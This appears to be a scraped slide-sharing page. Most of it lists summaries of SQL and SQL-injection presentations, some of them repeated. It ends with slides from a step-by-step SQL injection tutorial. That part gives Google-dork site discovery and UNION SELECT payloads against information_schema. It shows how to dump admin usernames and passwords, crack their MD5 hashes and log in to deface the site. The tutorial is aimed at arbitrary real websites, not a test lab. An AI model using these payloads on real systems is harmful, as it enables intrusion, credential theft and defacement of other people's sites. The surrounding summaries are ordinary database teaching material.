This document discusses different types of joins in SQL, including inner joins, outer joins, self joins, and cross joins. It provides examples of SQL queries using each type of join to retrieve data from multiple tables based on relationships between columns. The key types of joins covered are equijoins to match column values, non-equijoins to match column ranges, and outer joins to return non-matching rows.
The document discusses multiple database concepts including different types of joins, set operators, subqueries, views, sequences, synonyms, indexes, and security. It provides syntax examples for performing joins, subqueries, creating views, sequences, and indexes. It also describes controlling access and privileges at the system and database level.
This document provides a summary of MySQL commands in 3 parts. Part 1 covers general commands for databases, tables, data manipulation, and privileges. Commands include USE, SHOW, CREATE TABLE, INSERT, DELETE, GRANT, and REVOKE. The summary explains syntax, purpose, and common options for many basic MySQL statements.
This document discusses using subqueries to solve queries. It defines a subquery as a query within another query that can appear in the WHERE, HAVING, or FROM clauses. The document outlines the objectives of understanding subqueries and lists the types as single row or multiple row. It provides examples of each type, with single row subqueries returning a single value and using single comparison operators, while multiple row subqueries return multiple values and use operators like ANY, IN or ALL.
This document discusses various types of joins in SQL including equi joins, outer joins, cartesian joins, and self joins. It also covers set operators like UNION, INTERSECT, and MINUS that combine results from multiple queries. Subqueries are discussed as an alternative way to retrieve data from multiple tables using a query nested within another query.
This document provides an overview of MySQL JOIN and UNION operations. It discusses subqueries, table aliases, multi-table joins, UNION ALL, UNION rules, and GROUP BY. Subqueries allow querying data from multiple tables in a nested format. Table aliases are used to temporarily rename tables and columns for readability. JOIN operations combine data from two or more tables, including INNER JOIN, LEFT JOIN, and RIGHT JOIN. UNION combines the results of multiple SELECT statements, requiring the same number and order of columns. UNION rules specify that data types must be compatible. GROUP BY is used to retrieve aggregate information about grouped data.
This document discusses different types of joins in SQL for combining data from multiple tables, including equijoins, non-equijoins, outer joins, self-joins, natural joins, and cross joins. It provides examples of SQL statements using various join types and explains how to qualify column names, use table aliases, apply conditions to joins, and avoid Cartesian products. The goal is for readers to learn how to write SELECT statements to retrieve and display data involving two or more tables.
The SQL SELECT statement is used to query and retrieve data from database tables. It must specify the column names and table to retrieve data from. Optional clauses like WHERE, GROUP BY, HAVING, and ORDER BY can further filter the retrieved data. Expressions combining columns with operators can be used in the SELECT statement to derive new values from the column data.
How did i steal your database CSCamp2011Mostafa Siraj
This document discusses how SQL injection attacks can be used to steal database information. It begins by providing background on databases and SQL queries. It then explains how SQL injection works by altering existing SQL commands. Several examples are given of SQL injection attacks, like exploiting unvalidated login forms. The document outlines a step-by-step strategy an attacker could use to extract metadata and data from a database using SQL injection, including getting the database type and table/column names. It concludes by demonstrating how an attacker could use the extracted information to add an administrative account.
A cursor is a temporary work area that stores data retrieved from a database. It contains information on a SQL statement and the rows accessed. Cursors can be implicit, created by default for DML statements, or explicit, which must be created for SQL statements that return multiple rows. A trigger is a stored procedure that automatically executes when a data change occurs to the table it is defined on via insert, update or delete operations. Triggers can be row-level, firing for each row changed, or statement-level, firing once per SQL statement. SQL is used to select, insert, update and delete data from database tables.
This document discusses various SQL concepts including joins, aggregation functions, and grouping. It begins with an overview of installing MySQL Workbench and loading sample data. It then covers SELECT statements and functions like COUNT, SUM, AVG. It describes different types of joins like inner, left, right, and self joins. It provides examples of joining tables to retrieve related data and performing self joins to combine rows from the same table. It also explains how to use the GROUP BY clause to divide data into groups and apply aggregation functions.
This document discusses different types of joins in SQL, including inner joins, outer joins, self joins, and joining multiple tables. It provides examples of joining two tables on a common column using various SQL syntax like WHERE, ON, NATURAL JOIN, and USING. Specific types of joins covered include equijoins to retrieve matching records, outer joins to also return non-matching records, and self joins to join a table to itself.
The SQL UNION operator combines the results of two or more queries into a single result set. By default, UNION eliminates duplicate rows but UNION ALL includes duplicate rows. For UNION, the number and order of columns must match between queries and column data types must be compatible. Usually the column names from the first query are used. Examples demonstrate UNION, UNION ALL, and combining queries on the same table or with joins between tables.
This document discusses various MySQL INSERT statements:
- INSERT inserts one or more rows into a table and its syntax.
- INSERT INTO SELECT inserts rows selected from another table.
- INSERT ON DUPLICATE KEY UPDATE inserts a row and updates it if a duplicate key occurs.
- INSERT IGNORE ignores errors on duplicate keys and inserts valid rows.
It also covers the MySQL UPDATE statement for modifying data in tables and provides examples of their usage.
This document provides an overview of an Oracle Database 10g training course. The course covers topics such as Oracle database components, SQL statements, functions, joins, subqueries, set operators, data manipulation, schema objects, security, and administration. It lists contact information for Magnific Training, which provides online Oracle training delivered by experts in Hyderabad, Bangalore, India and other locations.
A Brief Introduction About Sql Injection in PHP and MYSQLkobaitari
There are two types of SQL injections: plain SQL injection which allows attackers to extract, modify, add, or delete database content by sending invalid SQL queries to exploit errors, and blind SQL injection which selects all rows without errors by abusing query syntax. Solutions include validating user input, escaping special characters, and using custom users with limited privileges. Attackers may also overload servers with requests or upload malicious scripts.
This document provides descriptions of menu commands in Microsoft Access. It lists and defines commands in the File, Edit, View, Insert, Tools, Window, and Help menus for performing common functions like opening, saving, editing, viewing data, inserting objects, using tools, managing windows, and getting help. The document was submitted by Bilal Maqbool, a student with roll number 10 in the BS-SE I class of the CS & IT department.
This document discusses different types of database constraints including primary keys, foreign keys, unique constraints, check constraints, and not null constraints. It provides examples of creating tables with these different constraints through SQL CREATE TABLE and ALTER TABLE statements. Specific examples include creating primary keys on student ID and course code fields, defining foreign keys to enforce referential integrity between tables, adding unique constraints to ensure course names are unique, using check constraints to validate data values like course credits, and applying not null constraints to require fields to not be empty. The goal is to understand how to apply these constraints to enforce data integrity in a university database with tables for students, courses, and student results.
This document provides an overview of the MySQL database including:
- The different types of databases including MySQL, MS SQL Server, Oracle Server, and MS Access.
- The advantages of using MySQL such as being open-source, powerful, standard SQL language, works on many operating systems and with many languages.
- Key aspects of MySQL including queries, clauses, operators, keys, joins, and datatypes. Queries are used to manipulate and retrieve data while keys uniquely identify records. Joins combine data from multiple tables.
The document discusses different types of joins in SQL for combining data from multiple tables, including inner joins, outer joins, natural joins, joins using the USING clause, and self-joins using the ON clause. It provides examples of SQL queries for left, right, full, and cross joins. Cross joins produce the cartesian product of all rows in two tables, while inner and outer joins match rows based on join conditions.
This document discusses SQL injection, including what it is, different types, and how to exploit it. It begins with an introduction to SQL injection, describing error-based, time-based, and boolean-based SQLi. It then covers exploiting SQLi to compromise databases by uploading shells and using SQLmap. The remainder demonstrates SQLi techniques like union queries, extracting data, and bypassing filters. Tools, methodology, and resources for further learning are also mentioned.
This document discusses blind SQL injection techniques and optimizations. It begins with an overview of SQL injection and blind SQL injection. It then discusses available tools for exploiting blind SQL injection and various techniques for optimizing the process, such as narrowing the character set, using binary search to find characters more quickly, and treating numeric fields as strings. The document concludes by demonstrating a Python tool called bsqlishell.py that implements these optimized techniques in an interactive shell for exploiting blind SQL injection.
This document discusses SQL injection and the sqlmap tool for automating the process of detecting and exploiting SQL injection flaws. Some key points:
- SQL is a programming language used to manage data in relational database management systems. SQL injection occurs when malicious SQL code is inserted into an entry field for execution, potentially enabling control of the entire database.
- Sqlmap automates the process of detecting and exploiting SQL injection vulnerabilities. It has capabilities like database fingerprinting, data extraction, accessing the underlying file system, and executing commands on the operating system via SQL injections.
- The tool can detect injectable parameters, generate automatic payloads to retrieve data, fingerprint the database management system, and provide an interactive SQL shell
透過簡單的攻擊範例,說明四種常見的 SQL Injection (Union Based Injection、Error Based Injection、Boolean Based Blind Injection、Time Based Blind Injection),並介紹一款常用的工具 sqlmap。
This presentation was given at the November 2012 chapter meeting of the Memphis ISSA. In the presentation, I discuss various methods of exploiting common SQL Injection vulnerabilities, as well as present a specialized technique known as Time-Based Blind SQL Injection. Related to the latter, I give a scenario in which other common forms of SQL Injection would fail to produce results for a penetration tester or attacker, and show how one may overcome this situation by using the specialized technique. The scenario given, along with the sample code, is NOT a contrived example, but instead is closely based on a real-world application that I encountered as part of an assessment.
A live demonstration of the common forms of SQL Injection was also given which utilized the OWASP Broken Web Apps VM, DVWA, Burp Proxy and SQL Power Injector. To demo a real-world time-based blind injection, I created and locally hosted a new application which closely mimicked the real-world application mentioned above.
The document discusses different types of SQL injection attacks, including tautologies, illegal/logically incorrect queries, union queries, piggybacked queries, and stored procedures. Tautologies aim to bypass authentication by making conditional statements always true. Illegal queries gather database information by causing syntax or type errors. Union queries extract data by combining results from multiple tables. Piggybacked queries maliciously execute additional queries by abusing query delimiters. Stored procedures can be used to escalate privileges or execute remote commands if vulnerabilities exist. Examples are provided for each type of attack along with potential solutions.
Advanced SQL injection to operating system full control (slides)Bernardo Damele A. G.
Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. A lot has been said on this specific vulnerability, but not all of the aspects and implications have been uncovered, yet.
It's time to explore new ways to get complete control over the database management system's underlying operating system through a SQL injection vulnerability in those over-looked and theoretically not exploitable scenarios: From the command execution on MySQL and PostgreSQL to a stored procedure's buffer overflow exploitation on Microsoft SQL Server. These and much more will be unveiled and demonstrated with my own tool's new version that I will release at the Conference (http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele).
These slides have been presented at Black Hat Euroe conference in Amsterdam on April 16, 2009.
The document discusses SQL injection attacks, including what SQL injection is, types of SQL injection attacks such as first and second order attacks, mechanisms for injection through user input or cookies, and techniques for preventing SQL injection like defensive coding practices and input validation. SQL injection is a code injection technique where malicious SQL statements are inserted into an entry field for execution by the backend database, allowing attackers to view or manipulate restricted data in the database. The document provides examples of SQL injection and explores ways attackers can infer information and encode attacks despite prevention methods.
The SQL SELECT statement is used to query and retrieve data from database tables. It must specify the column names and table to retrieve data from. Optional clauses like WHERE, GROUP BY, HAVING, and ORDER BY can further filter the retrieved data. Expressions combining columns with operators can be used in the SELECT statement to derive new values from the column data.
How did i steal your database CSCamp2011Mostafa Siraj
This document discusses how SQL injection attacks can be used to steal database information. It begins by providing background on databases and SQL queries. It then explains how SQL injection works by altering existing SQL commands. Several examples are given of SQL injection attacks, like exploiting unvalidated login forms. The document outlines a step-by-step strategy an attacker could use to extract metadata and data from a database using SQL injection, including getting the database type and table/column names. It concludes by demonstrating how an attacker could use the extracted information to add an administrative account.
A cursor is a temporary work area that stores data retrieved from a database. It contains information on a SQL statement and the rows accessed. Cursors can be implicit, created by default for DML statements, or explicit, which must be created for SQL statements that return multiple rows. A trigger is a stored procedure that automatically executes when a data change occurs to the table it is defined on via insert, update or delete operations. Triggers can be row-level, firing for each row changed, or statement-level, firing once per SQL statement. SQL is used to select, insert, update and delete data from database tables.
This document discusses various SQL concepts including joins, aggregation functions, and grouping. It begins with an overview of installing MySQL Workbench and loading sample data. It then covers SELECT statements and functions like COUNT, SUM, AVG. It describes different types of joins like inner, left, right, and self joins. It provides examples of joining tables to retrieve related data and performing self joins to combine rows from the same table. It also explains how to use the GROUP BY clause to divide data into groups and apply aggregation functions.
This document discusses different types of joins in SQL, including inner joins, outer joins, self joins, and joining multiple tables. It provides examples of joining two tables on a common column using various SQL syntax like WHERE, ON, NATURAL JOIN, and USING. Specific types of joins covered include equijoins to retrieve matching records, outer joins to also return non-matching records, and self joins to join a table to itself.
The SQL UNION operator combines the results of two or more queries into a single result set. By default, UNION eliminates duplicate rows but UNION ALL includes duplicate rows. For UNION, the number and order of columns must match between queries and column data types must be compatible. Usually the column names from the first query are used. Examples demonstrate UNION, UNION ALL, and combining queries on the same table or with joins between tables.
This document discusses various MySQL INSERT statements:
- INSERT inserts one or more rows into a table and its syntax.
- INSERT INTO SELECT inserts rows selected from another table.
- INSERT ON DUPLICATE KEY UPDATE inserts a row and updates it if a duplicate key occurs.
- INSERT IGNORE ignores errors on duplicate keys and inserts valid rows.
It also covers the MySQL UPDATE statement for modifying data in tables and provides examples of their usage.
This document provides an overview of an Oracle Database 10g training course. The course covers topics such as Oracle database components, SQL statements, functions, joins, subqueries, set operators, data manipulation, schema objects, security, and administration. It lists contact information for Magnific Training, which provides online Oracle training delivered by experts in Hyderabad, Bangalore, India and other locations.
A Brief Introduction About Sql Injection in PHP and MYSQLkobaitari
There are two types of SQL injections: plain SQL injection which allows attackers to extract, modify, add, or delete database content by sending invalid SQL queries to exploit errors, and blind SQL injection which selects all rows without errors by abusing query syntax. Solutions include validating user input, escaping special characters, and using custom users with limited privileges. Attackers may also overload servers with requests or upload malicious scripts.
This document provides descriptions of menu commands in Microsoft Access. It lists and defines commands in the File, Edit, View, Insert, Tools, Window, and Help menus for performing common functions like opening, saving, editing, viewing data, inserting objects, using tools, managing windows, and getting help. The document was submitted by Bilal Maqbool, a student with roll number 10 in the BS-SE I class of the CS & IT department.
This document discusses different types of database constraints including primary keys, foreign keys, unique constraints, check constraints, and not null constraints. It provides examples of creating tables with these different constraints through SQL CREATE TABLE and ALTER TABLE statements. Specific examples include creating primary keys on student ID and course code fields, defining foreign keys to enforce referential integrity between tables, adding unique constraints to ensure course names are unique, using check constraints to validate data values like course credits, and applying not null constraints to require fields to not be empty. The goal is to understand how to apply these constraints to enforce data integrity in a university database with tables for students, courses, and student results.
This document provides an overview of the MySQL database including:
- The different types of databases including MySQL, MS SQL Server, Oracle Server, and MS Access.
- The advantages of using MySQL such as being open-source, powerful, standard SQL language, works on many operating systems and with many languages.
- Key aspects of MySQL including queries, clauses, operators, keys, joins, and datatypes. Queries are used to manipulate and retrieve data while keys uniquely identify records. Joins combine data from multiple tables.
The document discusses different types of joins in SQL for combining data from multiple tables, including inner joins, outer joins, natural joins, joins using the USING clause, and self-joins using the ON clause. It provides examples of SQL queries for left, right, full, and cross joins. Cross joins produce the cartesian product of all rows in two tables, while inner and outer joins match rows based on join conditions.
This document discusses SQL injection, including what it is, different types, and how to exploit it. It begins with an introduction to SQL injection, describing error-based, time-based, and boolean-based SQLi. It then covers exploiting SQLi to compromise databases by uploading shells and using SQLmap. The remainder demonstrates SQLi techniques like union queries, extracting data, and bypassing filters. Tools, methodology, and resources for further learning are also mentioned.
This document discusses blind SQL injection techniques and optimizations. It begins with an overview of SQL injection and blind SQL injection. It then discusses available tools for exploiting blind SQL injection and various techniques for optimizing the process, such as narrowing the character set, using binary search to find characters more quickly, and treating numeric fields as strings. The document concludes by demonstrating a Python tool called bsqlishell.py that implements these optimized techniques in an interactive shell for exploiting blind SQL injection.
This document discusses SQL injection and the sqlmap tool for automating the process of detecting and exploiting SQL injection flaws. Some key points:
- SQL is a programming language used to manage data in relational database management systems. SQL injection occurs when malicious SQL code is inserted into an entry field for execution, potentially enabling control of the entire database.
- Sqlmap automates the process of detecting and exploiting SQL injection vulnerabilities. It has capabilities like database fingerprinting, data extraction, accessing the underlying file system, and executing commands on the operating system via SQL injections.
- The tool can detect injectable parameters, generate automatic payloads to retrieve data, fingerprint the database management system, and provide an interactive SQL shell
透過簡單的攻擊範例,說明四種常見的 SQL Injection (Union Based Injection、Error Based Injection、Boolean Based Blind Injection、Time Based Blind Injection),並介紹一款常用的工具 sqlmap。
This presentation was given at the November 2012 chapter meeting of the Memphis ISSA. In the presentation, I discuss various methods of exploiting common SQL Injection vulnerabilities, as well as present a specialized technique known as Time-Based Blind SQL Injection. Related to the latter, I give a scenario in which other common forms of SQL Injection would fail to produce results for a penetration tester or attacker, and show how one may overcome this situation by using the specialized technique. The scenario given, along with the sample code, is NOT a contrived example, but instead is closely based on a real-world application that I encountered as part of an assessment.
A live demonstration of the common forms of SQL Injection was also given which utilized the OWASP Broken Web Apps VM, DVWA, Burp Proxy and SQL Power Injector. To demo a real-world time-based blind injection, I created and locally hosted a new application which closely mimicked the real-world application mentioned above.
The document discusses different types of SQL injection attacks, including tautologies, illegal/logically incorrect queries, union queries, piggybacked queries, and stored procedures. Tautologies aim to bypass authentication by making conditional statements always true. Illegal queries gather database information by causing syntax or type errors. Union queries extract data by combining results from multiple tables. Piggybacked queries maliciously execute additional queries by abusing query delimiters. Stored procedures can be used to escalate privileges or execute remote commands if vulnerabilities exist. Examples are provided for each type of attack along with potential solutions.
Advanced SQL injection to operating system full control (slides)Bernardo Damele A. G.
Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. A lot has been said on this specific vulnerability, but not all of the aspects and implications have been uncovered, yet.
It's time to explore new ways to get complete control over the database management system's underlying operating system through a SQL injection vulnerability in those over-looked and theoretically not exploitable scenarios: From the command execution on MySQL and PostgreSQL to a stored procedure's buffer overflow exploitation on Microsoft SQL Server. These and much more will be unveiled and demonstrated with my own tool's new version that I will release at the Conference (http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele).
These slides have been presented at Black Hat Euroe conference in Amsterdam on April 16, 2009.
The document discusses SQL injection attacks, including what SQL injection is, types of SQL injection attacks such as first and second order attacks, mechanisms for injection through user input or cookies, and techniques for preventing SQL injection like defensive coding practices and input validation. SQL injection is a code injection technique where malicious SQL statements are inserted into an entry field for execution by the backend database, allowing attackers to view or manipulate restricted data in the database. The document provides examples of SQL injection and explores ways attackers can infer information and encode attacks despite prevention methods.
SQL injection is a code injection technique that exploits vulnerabilities in database-driven web applications. It occurs when user input is not validated or sanitized for string literal escape characters that are part of SQL statements. This allows attackers to interfere with the queries and obtain unauthorized access to sensitive data or make changes to the database. The document then provides step-by-step instructions on how to scan for vulnerabilities, determine database details like name and tables, extract data like user credentials, bypass protections like magic quotes, and use tools to automate the process.
This document discusses SQL injection attacks and how to prevent them. It begins with an introduction to SQL injection, explaining that it is a type of attack where malicious code is inserted into user input to compromise databases. It then provides details on how SQL injection works, including common vulnerabilities, SQL commands attackers use, and real world examples. The document concludes by recommending input validation, least privilege access, removing unused stored procedures, using parameterized queries, and being cautious with stored procedures to help prevent SQL injection attacks.
SQL injection is a type of attack where malicious SQL code is injected into an application's database query, potentially exposing or modifying private data. Attackers can bypass logins, access secret data, modify website contents, or shut down databases. SQL injection occurs when user input is not sanitized before being used in SQL queries. Attackers first find vulnerable websites, then check for errors to determine the number of columns. They use "union select" statements to discover which columns are responsive to queries, allowing them to extract data like user credentials or database contents. Developers should sanitize all user inputs to prevent SQL injection attacks.
Database object, sub query, Join Commands & Lab AssignmentArun Sial
The document discusses database objects like tables, views, sequences, synonyms and indexes. It also discusses subqueries and different types of joins like equi joins, non-equi joins, outer joins and self joins. Examples are provided to demonstrate the creation and usage of views, sequences, synonyms and different types of joins. An assignment on these topics is also provided requiring students to create tables, views, sequences and perform various types of joins on sample data.
SQL injection is a common web application security vulnerability that allows attackers to control an application's database by tricking the application into sending unexpected SQL commands to the database. It works by submitting malicious SQL code as input, which gets executed by the database since the application concatenates user input directly into SQL queries. The key to preventing SQL injection is using prepared statements with bound parameters instead of building SQL queries through string concatenation. This separates the SQL statement from any user-supplied input that could contain malicious code.
This document discusses SQL injection attacks and how to mitigate them. It begins by explaining how injection attacks work by tricking applications into executing unintended commands. It then provides examples of how SQL injection can be used to conduct unauthorized access and data modification attacks. The document discusses techniques for finding and exploiting SQL injection vulnerabilities, including through the SELECT, INSERT, UPDATE and UNION commands. It also covers ways to mitigate injection attacks, such as using prepared statements with bound parameters instead of concatenating strings.
This document discusses SQL injection techniques, including basics, advanced methods, and blind SQL injection. It begins with an overview of SQL injection and how websites interact with databases. It then demonstrates basic SQL injection to bypass authentication. Advanced techniques covered include finding database/table/column details and extracting data. Blind SQL injection is discussed for when errors are not displayed, requiring binary searching of ASCII character codes to extract information character by character.
The document discusses SQL injection, which occurs when malicious SQL commands are injected into a backend database. It provides examples of how SQL injection can be used to bypass authentication or retrieve sensitive data from a database. The document then discusses various techniques for preventing SQL injection, including using stored procedures, parameterized queries, and object-relational mappers like Entity Framework and NHibernate which help protect against injection attacks.
How to Hack Website using SQL Injection AttackCybrary Tech
SQL Injection is the most common website vulnerability today in database driven website. In this tutorial, You will learn how to hack website using sql injection attack.
Link to Blog Post:-
http://www.cybrarytech.com/2017/02/hack-website-sql-injection-attack.html
1. The document describes an application that transforms SQL queries into equivalent SPARQL queries to run on an RDF representation of a database.
2. It explains how the SQL database tables are transformed into RDF format, with each table becoming an RDF namespace and records becoming RDF triples.
3. The application works by parsing the SQL query, running it on the database, and then generating a SPARQL query with the necessary prefixes, type declarations, select fields, and filters to give the same results when run on the RDF data.
This document discusses blind SQL injection vulnerabilities. It explains that even if error messages are disabled, applications may still be vulnerable to blind SQL injection attacks where the attacker can make true/false queries to extract information from the database. It provides an example of how an attacker could extract the name of a database table one character at a time using such queries. The document recommends moving all SQL statements to stored procedures to prevent user input from modifying the syntax of queries.
This document discusses blind SQL injection vulnerabilities. It explains that even if error messages are disabled, applications may still be vulnerable to blind SQL injection attacks where the attacker can make true/false queries to extract information from the database. It provides an example of how an attacker could extract the name of a database table one character at a time using such queries. The document recommends moving all SQL statements to stored procedures to prevent user input from modifying the syntax of queries.
This document discusses SQL injection, including what it is, how it works, and how to prevent it. It provides examples of different types of SQL injection attacks, walking through the steps to obtain sensitive information like usernames and passwords from a database. The document also discusses how to alter data in a database using SQL injection. Finally, it discusses some defenses and countermeasures like implementing error handling, restricting database permissions, and input validation to prevent SQL injection attacks.
The document discusses SQL injection attacks. It explains that SQL injection works by tricking web applications into treating malicious user input as SQL code rather than data. This allows attackers to view sensitive data from the database or make changes by having the application execute unintended SQL commands. The key to preventing SQL injection is using prepared statements with bound parameters rather than concatenating user input into SQL queries. Other types of injection attacks on different interpreters are also discussed.
1. The document provides an overview of MySQL concepts including databases, tables, keys, and SQL commands.
2. It defines databases, DBMS, relational databases, RDBMS, benefits of using a DBMS, and introduces MySQL as an open source RDBMS.
3. It also covers SQL commands like SELECT, INSERT, UPDATE, DELETE and concepts like data types, constraints, indexes and functions.
SQL Database Performance Tuning for DevelopersBRIJESH KUMAR
1. The document provides SQL performance tuning techniques for developers, including proper use of indexes, avoiding coding loops, and temporary tables.
2. It also discusses how developers and database administrators (DBAs) can work together effectively through improved communication, understanding different roles, and establishing processes for testing and changes.
3. Tips for both parties include being patient, providing database status updates, helping with testing, and planning for future migrations.
C# programs use the .cs file extension and consist of namespaces, classes, and methods. A basic C# program defines a Main method within a class, where code is written. Classes can inherit from other classes and implement interfaces. The document provides an overview of basic C# concepts like data types, strings, enums, structures, and passing parameters by value and reference. It also demonstrates how to get input, write output, and use common .NET classes.
This document discusses Python database programming. It introduces databases and how they store data in tables connected through columns. It discusses SQL for creating, accessing, and manipulating database data. It then discusses how Python supports various databases and database operations. It covers the Python DB-API for providing a standard interface for database programming. It provides examples of connecting to a database, executing queries, and retrieving and inserting data.
Blue Cream Bold Simple Weekly Study Planner 2025.pdfVikash Gautam
Crush your academic goals in style with the Blue Cream Bold Simple Weekly Study Planner 2025! Designed for students who value clarity and focus, this planner offers clean weekly layouts, space for priorities, to-do lists, and study goals. The calming blue-cream theme helps you stay motivated and stress-free throughout the year. Perfect for school, college, or competitive exam prep!
I moved from the Hungarian school system to an international high school in 7th grade, adapting to a new language, teaching style, and diverse cultural environment.
Unlocking the Secrets of Love: The Science Behind Heartfelt ConnectionsVikash Gautam
Explore the fascinating science of love and how chemistry, biology, and psychology shape our deepest connections. Discover the brain’s role in attraction, emotional bonding, and how love impacts our lives. Learn the hidden truths behind the power of love and its life-changing effects.
2. Finding Vulnerable Sites
To Find Vulnerable Sites we use Google
dorks.
Index.php?id= (Example of Google Dork)
Dorks???? Shared Along with this Tutorial.
3. Checking Vulnerability
In order to check the vulnerability of site we add
the single quote (‘) at the end of url & hit enter.
Www.site.com/index.php?id=1’
if the page remains same it means it is not vuln, if it
is showing any error which related to sql query,
then it is vulnerable.
4. Finding Number of Columns
To find number of column in site’s
database we replace quote(‘) with order
by n statement.
Change the n from 1,2,3,4,……n Until you
get the error like “Unknown Column”
If you get Unknown column on 6 number
then 5 columns are there in database of
site.
5. Finding Vulnerable Column
To find the vulnerable column we put (-)
before ID number. Like index.php?id=-2
& also we replace order by statement
with union select.After union select we
type all the number of columns like
site.com/index.php?id=-2 union select
1,2,3,4,5—
After it we will get a bold number on
page
6. Finding Version, DB & user
Now in the last slide we found vulnerable
column which was bold.
To find version ,database or user we
replace vulnerable column.
Version()
Database()
User()
if the above don’t work then user
hex(@@version))
7. Finding Table Name
To find table names user the following
statements.
Group_concat(table_name)
information_schema.tables where
table_schema=database()—
Replace group_concat(table_name) with
vulnerable column number. & type the
second query after total column numbers like
site.com/index.php?id=-2 union select
1,2,3,4,group_concat(table_name),6 from
information_schema.tables where
table_schema=database()--
8. Dumping Admin Table
Group_concat(column_name)
FROM information_schema.columns WHERE
table_name=mysqlchar()—
Download & install hackbar in Mozilla Firefox
https://addons.mozilla.org/en-
US/firefox/addon/3899
Select sql>Mysql>MysqlChar()
Then a small window will open type admin
table name like in mine case it is tbl_admin
click ok. Copy & paste the Chars instead of
mysqlchar()
9. Extracting Admin info
After hitting enter you will see admin
username,passsword,id,type & many more
columns on the page.
To Dump user name ,password replace
group_concat(column_name) with
group_concat(username,0x3a,password)
Replace information_schema…. Balah blah
with just simple from admin table name
like index.php?id=-2 union select
1,2,3,4,group_concat(username,0x3a,passwor
d),6 from tbl_admin--
10. Extra Guideline
To deface site you should have to find
admin page which will be like
site.com/admin
site.com/login.php
etc etc
Before this you should have to decrypt
md5 hashed password with online sites like
md5online.org
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